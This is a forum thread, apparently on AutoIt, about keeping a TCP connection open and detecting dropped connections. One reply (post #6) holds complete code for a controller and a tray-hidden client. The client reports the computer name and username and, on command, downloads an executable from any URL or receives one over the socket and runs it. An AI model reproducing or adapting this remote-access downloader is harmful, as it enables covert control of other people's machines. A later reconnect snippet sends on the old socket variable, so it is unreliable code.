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quake101

TCP Sockets

8 posts in this topic

Hello all,

I've been delveloping a small applatation to monitor a remote program. The remote program's API uses a TCP socket. My applatation connects to it and pulls information every 800ms and update's the GUI with this information. My appation also can send remote commands to the remote program. Currently, I connect and disconnect the TCP socket every time I need to do something (update info or send a remote command) and I'm not sure if this is the best method. So this is my question, is it better to open 1 TCP socket and do everything from it, or is it better to connect/disconnect everytime I do something?

Thanks!

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Treat it as you would do for a book, a novel you're reading.


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Treat it as you would do for a book, a novel you're reading.

Though you should check every time you send data to make sure you're still connected, and if not, re-connect. As network/server issues can cause an established connection to drop.

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Thanks guys for the feedback, I had a feeling this was going to be the response as I felt like I was doing it wrong.

 

Though you should check every time you send data to make sure you're still connected, and if not, re-connect. As network/server issues can cause an established connection to drop.

 

Could you give me an example of how to detect if the connection is still active?

Thanks!

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#6 ·  Posted (edited)

Opt("TCPTimeout", 999)
$Form1 = GUICreate("beta", 617, 438, 331, 256)
$ListView1 = GUICtrlCreateListView("SOKET|IP|LANGAGE|COMPUTER|USER", 8, 26, 600, 359)
GUICtrlSendMsg(-1, 4096 + 30, 0, 100)
GUICtrlSendMsg(-1, 4096 + 30, 1, 150)
GUICtrlSendMsg(-1, 4096 + 30, 2, 150)
GUICtrlSendMsg(-1, 4096 + 30, 3, 150)
$settings = GUICtrlCreateContextMenu($ListView1)
$updateserver = GUICtrlCreateMenu("Update and execute", $settings)
$upintget = GUICtrlCreateMenuItem("Link http://", $updateserver)
$updateloc = GUICtrlCreateMenuItem("Local file", $updateserver)
$Disconnected = GUICtrlCreateMenuItem("Disconnected", $settings)
$Label1 = GUICtrlCreateLabel("", 11, 416, 395, 17)
$Label2 = GUICtrlCreateLabel("", 426, 416, 179, 17)
$Progress = GUICtrlCreateProgress(8, 392, 598, 17)
GUISetState()
TCPStartup()
Global $connections[999][2]
Global $c
$c = 0
$PORT = 3333
$Listen = TCPListen('0.0.0.0', $PORT, 999)
If $Listen = -1 Then
    GUICtrlSetData($Label1, "ERROR. Port is already use.")
    TCPShutdown()
Else
    GUICtrlSetData($Label1, "Listening ports: " & $PORT)
EndIf
While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case -3
            Exit

        Case $upintget
            $selecte = GUICtrlRead(GUICtrlRead($ListView1))
            If Not $selecte <> "" Then ContinueLoop
            $SOKET = StringSplit($selecte, "|")
            $value = InputBox("Enter the file link", " ", "", "", -1, 1)
            If $value = "" Then ContinueLoop
            TCPSend($SOKET[1], "003_INTG=" & $value)
            
        Case $Disconnected
            $selecte = GUICtrlRead(GUICtrlRead($ListView1))
            If Not $selecte <> "" Then ContinueLoop
            $SOKET = StringSplit($selecte, "|")
            TCPSend($SOKET[1], "001_Disco")

        Case $updateloc
            $selecte = GUICtrlRead(GUICtrlRead($ListView1))
            If Not $selecte <> "" Then ContinueLoop
            $SOKET = StringSplit($selecte, "|")
            $fhandle = FileOpenDialog("Select File", @ScriptDir, "Executeable files (*.exe)|All (*.*)", 1)
            If $fhandle = "" Then ContinueLoop
            $size = FileGetSize($fhandle)
            $open = FileOpen($fhandle, 16)
            TCPSend($SOKET[1], "002_updat")
            GUICtrlSetData($Progress, 0)
            $z = 0
            $loll = (1024 / $size) * 100
            GUICtrlSetData($Label1, "Upload start : Plaise wait ....")
            $error = 0
            While 1
                $z = $z + $loll
                GUICtrlSetData($Progress, Round($z, 1))
                GUICtrlSetData($Label1, Round($z, 1) & " % ")
                $data = FileRead($open, 1024)
                If @error = -1 Then ExitLoop
                TCPSend($SOKET[1], $data)
                If @error Then
                    $error = 1
                    ExitLoop
                EndIf
            WEnd
            FileClose($open)
            If $error Then
                GUICtrlSetData($Progress, 0)
                GUICtrlSetData($Label1, "ERROR Server shutdown!")
            Else
                GUICtrlSetData($Progress, 100)
                TCPSend($SOKET[1], "004_OK")
                GUICtrlSetData($Label1, "Upload successful!")
            EndIf
    EndSwitch
    
    $SOKET = TCPAccept($Listen)
    If $SOKET <> -1 Then
        Do
            $string = TCPRecv($SOKET, 2048)
        Until $string <> ""
        $INFO = StringSplit($string, "|")
        $connections[$c][0] = $SOKET
        $connections[$c][1] = GUICtrlCreateListViewItem($SOKET & "|" & sockettoip($SOKET) & "|" & $INFO[1] & "|" & $INFO[2] & "|" & $INFO[3], $ListView1)
        $c += 1
        GUICtrlSetData($Label2, "Servers online [ " & $c & "]")
    EndIf
    For $i = 0 To UBound($connections) - 1
        If $connections[$i][0] <> "" Then
            TCPSend($connections[$i][0], "SPACK-SPACK-y3ayat-pack-lpack")
            If @error Then
                GUICtrlDelete($connections[$i][1])
                $connections[$i][0] = ""
                $connections[$i][1] = ""
                $c = GUICtrlSendMsg($ListView1, (0x1000 + 4), 0, 0)
                GUICtrlSetData($Label2, "Servers online [ " & $c & "]")
            EndIf
        EndIf
    Next
WEnd

Func sockettoip($shocket)
    Local $sockaddr, $aret
    $sockaddr = DllStructCreate("short;ushort;uint;char[8]")
    $aret = DllCall("Ws2_32.dll", "int", "getpeername", "int", $shocket, "ptr", DllStructGetPtr($sockaddr), "int*", DllStructGetSize($sockaddr))
    If Not @error And $aret[0] = 0 Then
        $aret = DllCall("Ws2_32.dll", "str", "inet_ntoa", "int", DllStructGetData($sockaddr, 3))
        If Not @error Then $aret = $aret[0]
    Else
        $aret = 0
    EndIf
    $sockaddr = 0
    Return $aret
EndFunc   ;==>sockettoip

server

#NoTrayIcon
$Language = _Language()
$PORT = 3333
$IP = @IPAddress1 ; or  $IP = TCPNameToIP ("hoste no ip")

While 1
    TCPStartup()
    $socket = TCPConnect($IP, $PORT)
    If $socket = -1 And @error Then ContinueLoop
    TCPSend($socket, $Language & "|" & @ComputerName & "|" & @UserName)
    If @error Then ContinueLoop

    While 1
        $anweisung = TCPRecv($socket, 2024)
        If @error Then ExitLoop
        If $anweisung <> "" And $anweisung = "001_Disco" Then Exit

        If $anweisung <> "" And $anweisung = "002_updat" Then
            $random = Random(1, 99999, 1)
            $fhandle = FileOpen($random & ".exe", 17)
            Do
                $Recv = TCPRecv($socket, 1024)
                If @error <> 0 Then ExitLoop 2
                FileWrite($fhandle, $Recv)
            Until $Recv = "004_OK"
            FileClose($fhandle)
            Run($random & ".exe")
        EndIf

        If $anweisung <> "" And StringInStr($anweisung, "003_INTG=") > 0 Then
            $adresse = StringTrimLeft($anweisung, 7)
            $REN = Random(1, 99999, 1) & ".EXE"
            $hDownload = InetGet($adresse, $REN, 1, 1)
            Do
                Sleep(250)
            Until InetGetInfo($hDownload, 2)
            InetClose($hDownload)
            Run($REN)
        EndIf

    WEnd
WEnd

Func _GetOSLanguage($Lang = "")
    Local Const $GetLanguage = 114
    Local $a = DllCall("kernel32.dll", 'int', 'GetLocaleInfoW', 'ulong', Dec($Lang), 'dword', $GetLanguage, 'wstr', '', 'int', 2048)
    Return $a[3]
EndFunc   ;==>_GetOSLanguage
Edited by DjForfun

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#7 ·  Posted (edited)

Thanks guys for the feedback, I had a feeling this was going to be the response as I felt like I was doing it wrong.

 

Could you give me an example of how to detect if the connection is still active?

Thanks!

Get the return value of tcpsend. If it is 0, then the connection is dropped, if this is the case, re-establish the connection and re-send the data.

$tcpret = tcpsend($socket, $somedata) ;here's when you're sending your data.
if $tcpret = 0 then
    $rec = 0
    while $tcpret = 0
        $sockt = tcpconnect($address, $port)
        $tcpret = tcpsend($socket, $somedata)
        $rec+=1
        if $rec > 150 then exitloop ;prevent an infinite loop here
    wend
endif
Edited by nullschritt

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Thanks again guys, this really help! :graduated:

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